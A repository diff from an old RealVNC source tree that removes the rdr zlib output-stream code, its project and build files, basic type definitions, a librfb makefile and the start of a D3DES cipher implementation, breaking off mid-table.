// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this software; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
#include <rdr/ZlibOutStream.h>
#include <rdr/Exception.h>
#include <zlib.h>
using namespace rdr;
enum { DEFAULT_BUF_SIZE = 16384 };
ZlibOutStream::ZlibOutStream(OutStream* os, int bufSize_)
: underlying(os), bufSize(bufSize_ ? bufSize_ : DEFAULT_BUF_SIZE), offset(0)
{
zs = new z_stream;
zs->zalloc = Z_NULL;
zs->zfree = Z_NULL;
zs->opaque = Z_NULL;
if (deflateInit(zs, Z_DEFAULT_COMPRESSION) != Z_OK) {
delete zs;
throw Exception("ZlibOutStream: deflateInit failed");
}
ptr = start = new U8[bufSize];
end = start + bufSize;
}
ZlibOutStream::~ZlibOutStream()
{
try {
flush();
} catch (Exception&) {
}
delete [] start;
deflateEnd(zs);
delete zs;
}
void ZlibOutStream::setUnderlying(OutStream* os)
{
underlying = os;
}
int ZlibOutStream::length()
{
return offset + ptr - start;
}
void ZlibOutStream::flush()
{
zs->next_in = start;
zs->avail_in = ptr - start;
// fprintf(stderr,"zos flush: avail_in %d\n",zs->avail_in);
while (zs->avail_in != 0) {
do {
underlying->check(1);
zs->next_out = underlying->getptr();
zs->avail_out = underlying->getend() - underlying->getptr();
// fprintf(stderr,"zos flush: calling deflate, avail_in %d, avail_out %d\n",
// zs->avail_in,zs->avail_out);
int rc = deflate(zs, Z_SYNC_FLUSH);
if (rc != Z_OK) throw Exception("ZlibOutStream: deflate failed");
// fprintf(stderr,"zos flush: after deflate: %d bytes\n",
// zs->next_out-underlying->getptr());
underlying->setptr(zs->next_out);
} while (zs->avail_out == 0);
}
offset += ptr - start;
ptr = start;
}
int ZlibOutStream::overrun(int itemSize, int nItems)
{
// fprintf(stderr,"ZlibOutStream overrun\n");
if (itemSize > bufSize)
throw Exception("ZlibOutStream overrun: max itemSize exceeded");
while (end - ptr < itemSize) {
zs->next_in = start;
zs->avail_in = ptr - start;
do {
underlying->check(1);
zs->next_out = underlying->getptr();
zs->avail_out = underlying->getend() - underlying->getptr();
// fprintf(stderr,"zos overrun: calling deflate, avail_in %d, avail_out %d\n",
// zs->avail_in,zs->avail_out);
int rc = deflate(zs, 0);
if (rc != Z_OK) throw Exception("ZlibOutStream: deflate failed");
// fprintf(stderr,"zos overrun: after deflate: %d bytes\n",
// zs->next_out-underlying->getptr());
underlying->setptr(zs->next_out);
} while (zs->avail_out == 0);
// output buffer not full
if (zs->avail_in == 0) {
offset += ptr - start;
ptr = start;
} else {
// but didn't consume all the data? try shifting what's left to the
// start of the buffer.
fprintf(stderr,"z out buf not full, but in data not consumed\n");
memmove(start, zs->next_in, ptr - zs->next_in);
offset += zs->next_in - start;
ptr -= zs->next_in - start;
}
}
if (itemSize * nItems > end - ptr)
nItems = (end - ptr) / itemSize;
return nItems;
}

View File

@ -1,57 +0,0 @@
//
// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
//
// This is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This software is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this software; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// ZlibOutStream streams to a compressed data stream (underlying), compressing
// with zlib on the fly.
//
#ifndef __RDR_ZLIBOUTSTREAM_H__
#define __RDR_ZLIBOUTSTREAM_H__
#include <rdr/OutStream.h>
struct z_stream_s;
namespace rdr {
class ZlibOutStream : public OutStream {
public:
ZlibOutStream(OutStream* os=0, int bufSize=0);
virtual ~ZlibOutStream();
void setUnderlying(OutStream* os);
void flush();
int length();
private:
int overrun(int itemSize, int nItems);
OutStream* underlying;
int bufSize;
int offset;
z_stream_s* zs;
U8* start;
};
} // end of namespace rdr
#endif

View File

@ -1,245 +0,0 @@
# Microsoft Developer Studio Project File - Name="rdr" - Package Owner=<4>
# Microsoft Developer Studio Generated Build File, Format Version 6.00
# ** DO NOT EDIT **
# TARGTYPE "Win32 (x86) Static Library" 0x0104
CFG=rdr - Win32 Release CORBA DEBUG
!MESSAGE This is not a valid makefile. To build this project using NMAKE,
!MESSAGE use the Export Makefile command and run
!MESSAGE
!MESSAGE NMAKE /f "rdr.mak".
!MESSAGE
!MESSAGE You can specify a configuration when running NMAKE
!MESSAGE by defining the macro CFG on the command line. For example:
!MESSAGE
!MESSAGE NMAKE /f "rdr.mak" CFG="rdr - Win32 Release CORBA DEBUG"
!MESSAGE
!MESSAGE Possible choices for configuration are:
!MESSAGE
!MESSAGE "rdr - Win32 Release" (based on "Win32 (x86) Static Library")
!MESSAGE "rdr - Win32 Debug" (based on "Win32 (x86) Static Library")
!MESSAGE "rdr - Win32 Release CORBA DEBUG" (based on "Win32 (x86) Static Library")
!MESSAGE "rdr - Win32 Release CORBA" (based on "Win32 (x86) Static Library")
!MESSAGE "rdr - Win32 Profile" (based on "Win32 (x86) Static Library")
!MESSAGE
# Begin Project
# PROP AllowPerConfigDependencies 0
# PROP Scc_ProjName ""
# PROP Scc_LocalPath ""
CPP=cl.exe
RSC=rc.exe
!IF "$(CFG)" == "rdr - Win32 Release"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "Release"
# PROP BASE Intermediate_Dir "Release"
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "Release"
# PROP Intermediate_Dir "Release"
# PROP Target_Dir ""
# ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_MBCS" /D "_LIB" /YX /FD /c
# ADD CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_MBCS" /D "_LIB" /YX /FD /c
# ADD BASE RSC /l 0x809 /d "NDEBUG"
# ADD RSC /l 0x809 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LIB32=link.exe -lib
# ADD BASE LIB32 /nologo
# ADD LIB32 /nologo
!ELSEIF "$(CFG)" == "rdr - Win32 Debug"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 1
# PROP BASE Output_Dir "Debug"
# PROP BASE Intermediate_Dir "Debug"
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 1
# PROP Output_Dir "Debug"
# PROP Intermediate_Dir "Debug"
# PROP Target_Dir ""
# ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_MBCS" /D "_LIB" /YX /FD /GZ /c
# ADD CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_MBCS" /D "_LIB" /YX /FD /GZ /c
# ADD BASE RSC /l 0x809 /d "_DEBUG"
# ADD RSC /l 0x809 /d "_DEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LIB32=link.exe -lib
# ADD BASE LIB32 /nologo
# ADD LIB32 /nologo
!ELSEIF "$(CFG)" == "rdr - Win32 Release CORBA DEBUG"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 1
# PROP BASE Output_Dir "rdr___Win32_Release_CORBA_DEBUG"
# PROP BASE Intermediate_Dir "rdr___Win32_Release_CORBA_DEBUG"
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 1
# PROP Output_Dir "..\Release_CORBA_DEBUG"
# PROP Intermediate_Dir "..\Release_CORBA_DEBUG"
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_MBCS" /D "_LIB" /YX /FD /GZ /c
# ADD CPP /nologo /MDd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_MBCS" /D "_LIB" /YX /FD /GZ /c
# ADD BASE RSC /l 0x809 /d "_DEBUG"
# ADD RSC /l 0x809 /d "_DEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LIB32=link.exe -lib
# ADD BASE LIB32 /nologo
# ADD LIB32 /nologo
!ELSEIF "$(CFG)" == "rdr - Win32 Release CORBA"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "rdr___Win32_Release_CORBA"
# PROP BASE Intermediate_Dir "rdr___Win32_Release_CORBA"
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "..\Release_CORBA"
# PROP Intermediate_Dir "..\Release_CORBA"
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MD /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_MBCS" /D "_LIB" /YX /FD /c
# ADD CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_MBCS" /D "_LIB" /YX /FD /c
# ADD BASE RSC /l 0x809 /d "NDEBUG"
# ADD RSC /l 0x809 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LIB32=link.exe -lib
# ADD BASE LIB32 /nologo
# ADD LIB32 /nologo
!ELSEIF "$(CFG)" == "rdr - Win32 Profile"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "rdr___Win32_Profile"
# PROP BASE Intermediate_Dir "rdr___Win32_Profile"
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "..\Profile"
# PROP Intermediate_Dir "..\Profile"
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_MBCS" /D "_LIB" /YX /FD /c
# ADD CPP /nologo /MTd /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_MBCS" /D "_LIB" /YX /FD /c
# ADD BASE RSC /l 0x809 /d "NDEBUG"
# ADD RSC /l 0x809 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LIB32=link.exe -lib
# ADD BASE LIB32 /nologo
# ADD LIB32 /nologo
!ENDIF
# Begin Target
# Name "rdr - Win32 Release"
# Name "rdr - Win32 Debug"
# Name "rdr - Win32 Release CORBA DEBUG"
# Name "rdr - Win32 Release CORBA"
# Name "rdr - Win32 Profile"
# Begin Group "Source Files"
# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
# Begin Source File
SOURCE=.\FdInStream.cxx
# ADD CPP /I ".." /I "../zlib"
# End Source File
# Begin Source File
SOURCE=.\FdOutStream.cxx
# ADD CPP /I ".." /I "../zlib"
# End Source File
# Begin Source File
SOURCE=.\InStream.cxx
# ADD CPP /I ".." /I "../zlib"
# End Source File
# Begin Source File
SOURCE=.\NullOutStream.cxx
# ADD CPP /I ".." /I "../zlib"
# End Source File
# Begin Source File
SOURCE=.\ZlibInStream.cxx
# ADD CPP /I ".." /I "../zlib"
# End Source File
# Begin Source File
SOURCE=.\ZlibOutStream.cxx
# ADD CPP /I ".." /I "../zlib"
# End Source File
# End Group
# Begin Group "Header Files"
# PROP Default_Filter "h;hpp;hxx;hm;inl"
# Begin Source File
SOURCE=.\Exception.h
# End Source File
# Begin Source File
SOURCE=.\FdInStream.h
# End Source File
# Begin Source File
SOURCE=.\FdOutStream.h
# End Source File
# Begin Source File
SOURCE=.\FixedMemOutStream.h
# End Source File
# Begin Source File
SOURCE=.\InStream.h
# End Source File
# Begin Source File
SOURCE=.\MemInStream.h
# End Source File
# Begin Source File
SOURCE=.\MemOutStream.h
# End Source File
# Begin Source File
SOURCE=.\NullOutStream.h
# End Source File
# Begin Source File
SOURCE=.\OutStream.h
# End Source File
# Begin Source File
SOURCE=.\types.h
# End Source File
# Begin Source File
SOURCE=.\ZlibInStream.h
# End Source File
# Begin Source File
SOURCE=.\ZlibOutStream.h
# End Source File
# End Group
# End Target
# End Project

View File

@ -1,245 +0,0 @@
<?xml version="1.0" encoding="Windows-1252"?>
<VisualStudioProject
ProjectType="Visual C++"
Version="9.00"
Name="rdr"
ProjectGUID="{F2473D0A-3E49-4127-9FF6-51D53C45590A}"
TargetFrameworkVersion="131072"
>
<Platforms>
<Platform
Name="Win32"
/>
</Platforms>
<ToolFiles>
</ToolFiles>
<Configurations>
<Configuration
Name="Release|Win32"
OutputDirectory=".\Release"
IntermediateDirectory=".\Release"
ConfigurationType="4"
InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
UseOfMFC="0"
ATLMinimizesCRunTimeLibraryUsage="false"
CharacterSet="2"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
InlineFunctionExpansion="1"
PreprocessorDefinitions="WIN32;NDEBUG;_LIB"
StringPooling="true"
RuntimeLibrary="0"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="0"
PrecompiledHeaderFile=".\Release/rdr.pch"
AssemblerListingLocation=".\Release/"
ObjectFile=".\Release/"
ProgramDataBaseFileName=".\Release/"
WarningLevel="3"
SuppressStartupBanner="true"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
PreprocessorDefinitions="NDEBUG"
Culture="2057"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLibrarianTool"
OutputFile=".\Release\rdr.lib"
SuppressStartupBanner="true"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
</Configurations>
<References>
</References>
<Files>
<Filter
Name="Source Files"
Filter="cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
>
<File
RelativePath="FdInStream.cxx"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
AdditionalIncludeDirectories="..,../zlib"
PreprocessorDefinitions=""
CompileAs="0"
/>
</FileConfiguration>
</File>
<File
RelativePath="FdOutStream.cxx"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
AdditionalIncludeDirectories="..,../zlib"
PreprocessorDefinitions=""
CompileAs="0"
/>
</FileConfiguration>
</File>
<File
RelativePath="InStream.cxx"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
AdditionalIncludeDirectories="..,../zlib"
PreprocessorDefinitions=""
CompileAs="0"
/>
</FileConfiguration>
</File>
<File
RelativePath="NullOutStream.cxx"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
AdditionalIncludeDirectories="..,../zlib"
PreprocessorDefinitions=""
CompileAs="0"
/>
</FileConfiguration>
</File>
<File
RelativePath="ZlibInStream.cxx"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
AdditionalIncludeDirectories="..,../zlib"
PreprocessorDefinitions=""
CompileAs="0"
/>
</FileConfiguration>
</File>
<File
RelativePath="ZlibOutStream.cxx"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
AdditionalIncludeDirectories="..,../zlib"
PreprocessorDefinitions=""
CompileAs="0"
/>
</FileConfiguration>
</File>
</Filter>
<Filter
Name="Header Files"
Filter="h;hpp;hxx;hm;inl"
>
<File
RelativePath="Exception.h"
>
</File>
<File
RelativePath="FdInStream.h"
>
</File>
<File
RelativePath="FdOutStream.h"
>
</File>
<File
RelativePath="FixedMemOutStream.h"
>
</File>
<File
RelativePath="InStream.h"
>
</File>
<File
RelativePath="MemInStream.h"
>
</File>
<File
RelativePath="MemOutStream.h"
>
</File>
<File
RelativePath="NullOutStream.h"
>
</File>
<File
RelativePath="OutStream.h"
>
</File>
<File
RelativePath="types.h"
>
</File>
<File
RelativePath="ZlibInStream.h"
>
</File>
<File
RelativePath="ZlibOutStream.h"
>
</File>
</Filter>
</Files>
<Globals>
</Globals>
</VisualStudioProject>

View File

@ -1,33 +0,0 @@
//
// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
//
// This is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This software is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this software; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
#ifndef __RDR_TYPES_H__
#define __RDR_TYPES_H__
namespace rdr {
typedef unsigned char U8;
typedef unsigned short U16;
typedef unsigned int U32;
typedef signed char S8;
typedef signed short S16;
typedef signed int S32;
} // end of namespace rdr
#endif

View File

@ -1,17 +0,0 @@
SRCS = d3des.c vncauth.c
OBJS = d3des.o vncauth.o
DIR_CPPFLAGS = -I$(top_srcdir)
library = librfb.a
all:: $(library)
$(library): $(OBJS)
rm -f $(library)
$(AR) $(library) $(OBJS)
$(RANLIB) $(library)
# followed by boilerplate.mk

View File

@ -1,434 +0,0 @@
/*
* This is D3DES (V5.09) by Richard Outerbridge with the double and
* triple-length support removed for use in VNC. Also the bytebit[] array
* has been reversed so that the most significant bit in each byte of the
* key is ignored, not the least significant.
*
* These changes are:
* Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
*
* This software is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*/
/* D3DES (V5.09) -
*
* A portable, public domain, version of the Data Encryption Standard.
*
* Written with Symantec's THINK (Lightspeed) C by Richard Outerbridge.
* Thanks to: Dan Hoey for his excellent Initial and Inverse permutation
* code; Jim Gillogly & Phil Karn for the DES key schedule code; Dennis
* Ferguson, Eric Young and Dana How for comparing notes; and Ray Lau,
* for humouring me on.
*
* Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge.
* (GEnie : OUTER; CIS : [71755,204]) Graven Imagery, 1992.
*/
#include "d3des.h"
static void scrunch(unsigned char *, unsigned long *);
static void unscrun(unsigned long *, unsigned char *);
static void desfunc(unsigned long *, unsigned long *);
static void cookey(unsigned long *);
static unsigned long KnL[32] = { 0L };
static unsigned short bytebit[8] = {
01, 02, 04, 010, 020, 040, 0100, 0200 };
static unsigned long bigbyte[24] = {
0x800000L, 0x400000L, 0x200000L, 0x100000L,
0x80000L, 0x40000L, 0x20000L, 0x10000L,
0x8000L, 0x4000L, 0x2000L, 0x1000L,
0x800L, 0x400L, 0x200L, 0x100L,
0x80L, 0x40L, 0x20L, 0x10L,
0x8L, 0x4L, 0x2L, 0x1L };
/* Use the key schedule specified in the Standard (ANSI X3.92-1981). */
static unsigned char pc1[56] = {
56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17,
9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35,
62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21,
13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3 };
static unsigned char totrot[16] = {
1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28 };
static unsigned char pc2[48] = {
13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9,
22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1,
40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47,
43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 };
void deskey(key, edf) /* Thanks to James Gillogly & Phil Karn! */
unsigned char *key;
int edf;
{
register int i, j, l, m, n;
unsigned char pc1m[56], pcr[56];
unsigned long kn[32];
for ( j = 0; j < 56; j++ ) {
l = pc1[j];
m = l & 07;
pc1m[j] = (key[l >> 3] & bytebit[m]) ? 1 : 0;
}
for( i = 0; i < 16; i++ ) {
if( edf == DE1 ) m = (15 - i) << 1;
else m = i << 1;
n = m + 1;
kn[m] = kn[n] = 0L;
for( j = 0; j < 28; j++ ) {
l = j + totrot[i];
if( l < 28 ) pcr[j] = pc1m[l];
else pcr[j] = pc1m[l - 28];
}
for( j = 28; j < 56; j++ ) {
l = j + totrot[i];
if( l < 56 ) pcr[j] = pc1m[l];
else pcr[j] = pc1m[l - 28];
}
for( j = 0; j < 24; j++ ) {
if( pcr[pc2[j]] ) kn[m] |= bigbyte[j];
if( pcr[pc2[j+24]] ) kn[n] |= bigbyte[j];
}
}
cookey(kn);
return;
}
static void cookey(raw1)
register unsigned long *raw1;
{
register unsigned long *cook, *raw0;
unsigned long dough[32];
register int i;
cook = dough;
for( i = 0; i < 16; i++, raw1++ ) {
raw0 = raw1++;
*cook = (*raw0 & 0x00fc0000L) << 6;
*cook |= (*raw0 & 0x00000fc0L) << 10;
*cook |= (*raw1 & 0x00fc0000L) >> 10;
*cook++ |= (*raw1 & 0x00000fc0L) >> 6;
*cook = (*raw0 & 0x0003f000L) << 12;
*cook |= (*raw0 & 0x0000003fL) << 16;
*cook |= (*raw1 & 0x0003f000L) >> 4;
*cook++ |= (*raw1 & 0x0000003fL);
}
usekey(dough);
return;
}
void cpkey(into)
register unsigned long *into;
{
register unsigned long *from, *endp;
from = KnL, endp = &KnL[32];
while( from < endp ) *into++ = *from++;
return;
}
void usekey(from)
register unsigned long *from;
{
register unsigned long *to, *endp;
to = KnL, endp = &KnL[32];
while( to < endp ) *to++ = *from++;
return;
}
void des(inblock, outblock)
unsigned char *inblock, *outblock;
{
unsigned long work[2];
scrunch(inblock, work);
desfunc(work, KnL);
unscrun(work, outblock);
return;
}
static void scrunch(outof, into)
register unsigned char *outof;
register unsigned long *into;
{
*into = (*outof++ & 0xffL) << 24;
*into |= (*outof++ & 0xffL) << 16;
*into |= (*outof++ & 0xffL) << 8;
*into++ |= (*outof++ & 0xffL);
*into = (*outof++ & 0xffL) << 24;
*into |= (*outof++ & 0xffL) << 16;
*into |= (*outof++ & 0xffL) << 8;
*into |= (*outof & 0xffL);
return;
}
static void unscrun(outof, into)
register unsigned long *outof;
register unsigned char *into;
{
*into++ = (*outof >> 24) & 0xffL;
*into++ = (*outof >> 16) & 0xffL;
*into++ = (*outof >> 8) & 0xffL;
*into++ = *outof++ & 0xffL;
*into++ = (*outof >> 24) & 0xffL;
*into++ = (*outof >> 16) & 0xffL;
*into++ = (*outof >> 8) & 0xffL;
*into = *outof & 0xffL;
return;
}
static unsigned long SP1[64] = {
0x01010400L, 0x00000000L, 0x00010000L, 0x01010404L,
0x01010004L, 0x00010404L, 0x00000004L, 0x00010000L,
0x00000400L, 0x01010400L, 0x01010404L, 0x00000400L,
0x01000404L, 0x01010004L, 0x01000000L, 0x00000004L,
0x00000404L, 0x01000400L, 0x01000400L, 0x00010400L,
0x00010400L, 0x01010000L, 0x01010000L, 0x01000404L,
0x00010004L, 0x01000004L, 0x01000004L, 0x00010004L,
0x00000000L, 0x00000404L, 0x00010404L, 0x01000000L,
0x00010000L, 0x01010404L, 0x00000004L, 0x01010000L,
0x01010400L, 0x01000000L, 0x01000000L, 0x00000400L,
0x01010004L, 0x00010000L, 0x00010400L, 0x01000004L,
0x00000400L, 0x00000004L, 0x01000404L, 0x00010404L,
0x01010404L, 0x00010004L, 0x01010000L, 0x01000404L,
0x01000004L, 0x00000404L, 0x00010404L, 0x01010400L,
0x00000404L, 0x01000400L, 0x01000400L, 0x00000000L,
0x00010004L, 0x00010400L, 0x00000000L, 0x01010004L };
static unsigned long SP2[64] = {
0x80108020L, 0x80008000L, 0x00008000L, 0x00108020L,
0x00100000L, 0x00000020L, 0x80100020L, 0x80008020L,
0x80000020L, 0x80108020L, 0x80108000L, 0x80000000L,
0x80008000L, 0x00100000L, 0x00000020L, 0x80100020L,
0x00108000L, 0x00100020L, 0x80008020L, 0x00000000L,
0x80000000L, 0x00008000L, 0x00108020L, 0x80100000L,
0x00100020L, 0x80000020L, 0x00000000L, 0x00108000L,
0x00008020L, 0x80108000L, 0x80100000L, 0x00008020L,
0x00000000L, 0x00108020L, 0x80100020L, 0x00100000L,
0x80008020L, 0x80100000L, 0x80108000L, 0x00008000L,
0x80100000L, 0x80008000L, 0x00000020L, 0x80108020L,
0x00108020L, 0x00000020L, 0x00008000L, 0x80000000L,
0x00008020L, 0x80108000L, 0x00100000L, 0x80000020L,
0x00100020L, 0x80008020L, 0x80000020L, 0x00100020L,
0x00108000L, 0x00000000L, 0x80008000L, 0x00008020L,
0x80000000L, 0x80100020L, 0x80108020L, 0x00108000L };
static unsigned long SP3[64] = {
0x00000208L, 0x08020200L, 0x00000000L, 0x08020008L,
0x08000200L, 0x00000000L, 0x00020208L, 0x08000200L,
0x00020008L, 0x08000008L, 0x08000008L, 0x00020000L,
0x08020208L, 0x00020008L, 0x08020000L, 0x00000208L,
0x08000000L, 0x00000008L, 0x08020200L, 0x00000200L,
0x00020200L, 0x08020000L, 0x08020008L, 0x00020208L,
0x08000208L, 0x00020200L, 0x00020000L, 0x08000208L,
0x00000008L, 0x08020208L, 0x00000200L, 0x08000000L,
0x08020200L, 0x08000000L, 0x00020008L, 0x00000208L,
0x00020000L, 0x08020200L, 0x08000200L, 0x00000000L,
0x00000200L, 0x00020008L, 0x08020208L, 0x08000200L,
0x08000008L, 0x00000200L, 0x00000000L, 0x08020008L,
0x08000208L, 0x00020000L, 0x08000000L, 0x08020208L,
0x00000008L, 0x00020208L, 0x00020200L, 0x08000008L,
0x08020000L, 0x08000208L, 0x00000208L, 0x08020000L,
0x00020208L, 0x00000008L, 0x08020008L, 0x00020200L };
static unsigned long SP4[64] = {
0x00802001L, 0x00002081L, 0x00002081L, 0x00000080L,
0x00802080L, 0x00800081L, 0x00800001L, 0x00002001L,
0x00000000L, 0x00802000L, 0x00802000L, 0x00802081L,
0x00000081L, 0x00000000L, 0x00800080L, 0x00800001L,
0x00000001L, 0x00002000L, 0x00800000L, 0x00802001L,
0x00000080L, 0x00800000L, 0x00002001L, 0x00002080L,
0x00800081L, 0x00000001L, 0x00002080L, 0x00800080L,
0x00002000L, 0x00802080L, 0x00802081L, 0x00000081L,
0x00800080L, 0x00800001L, 0x00802000L, 0x00802081L,
0x00000081L, 0x00000000L, 0x00000000L, 0x00802000L,
0x00002080L, 0x00800080L, 0x00800081L, 0x00000001L,
0x00802001L, 0x00002081L, 0x00002081L, 0x00000080L,
0x00802081L, 0x00000081L, 0x00000001L, 0x00002000L,
0x00800001L, 0x00002001L, 0x00802080L, 0x00800081L,
0x00002001L, 0x00002080L, 0x00800000L, 0x00802001L,
0x00000080L, 0x00800000L, 0x00002000L, 0x00802080L };
static unsigned long SP5[64] = {
0x00000100L, 0x02080100L, 0x02080000L, 0x42000100L,
0x00080000L, 0x00000100L, 0x40000000L, 0x02080000L,
0x40080100L, 0x00080000L, 0x02000100L, 0x40080100L,
0x42000100L, 0x42080000L, 0x00080100L, 0x40000000L,
0x02000000L, 0x40080000L, 0x40080000L, 0x00000000L,
0x40000100L, 0x42080100L, 0x42080100L, 0x02000100L,
0x42080000L, 0x40000100L, 0x00000000L, 0x42000000L,
0x02080100L, 0x02000000L, 0x42000000L, 0x00080100L,
0x00080000L, 0x42000100L, 0x00000100L, 0x02000000L,
0x40000000L, 0x02080000L, 0x42000100L, 0x40080100L,
0x02000100L, 0x40000000L, 0x42080000L, 0x02080100L,
0x40080100L, 0x00000100L, 0x02000000L, 0x42080000L,
0x42080100L, 0x00080100L, 0x42000000L, 0x42080100L,
0x02080000L, 0x00000000L, 0x40080000L, 0x42000000L,
0x00080100L, 0x02000100L, 0x40000100L, 0x00080000L,
0x00000000L, 0x40080000L, 0x02080100L, 0x40000100L };
static unsigned long SP6[64] = {
0x20000010L, 0x20400000L, 0x00004000L, 0x20404010L,
0x20400000L, 0x00000010L, 0x20404010L, 0x00400000L,
0x20004000L, 0x00404010L, 0x00400000L, 0x20000010L,
0x00400010L, 0x20004000L, 0x20000000L, 0x00004010L,
0x00000000L, 0x00400010L, 0x20004010L, 0x00004000L,
0x00404000L, 0x20004010L, 0x00000010L, 0x20400010L,
0x20400010L, 0x00000000L, 0x00404010L, 0x20404000L,
0x00004010L, 0x00404000L, 0x20404000L, 0x20000000L,
0x20004000L, 0x00000010L, 0x20400010L, 0x00404000L,
0x20404010L, 0x00400000L, 0x00004010L, 0x20000010L,
0x00400000L, 0x20004000L, 0x20000000L, 0x00004010L,
0x20000010L, 0x20404010L, 0x00404000L, 0x20400000L,
0x00404010L, 0x20404000L, 0x00000000L, 0x20400010L,
0x00000010L, 0x00004000L, 0x20400000L, 0x00404010L,
0x00004000L, 0x00400010L, 0x20004010L, 0x00000000L,
0x20404000L, 0x20000000L, 0x00400010L, 0x20004010L };
static unsigned long SP7[64] = {
0x00200000L, 0x04200002L, 0x04000802L, 0x00000000L,
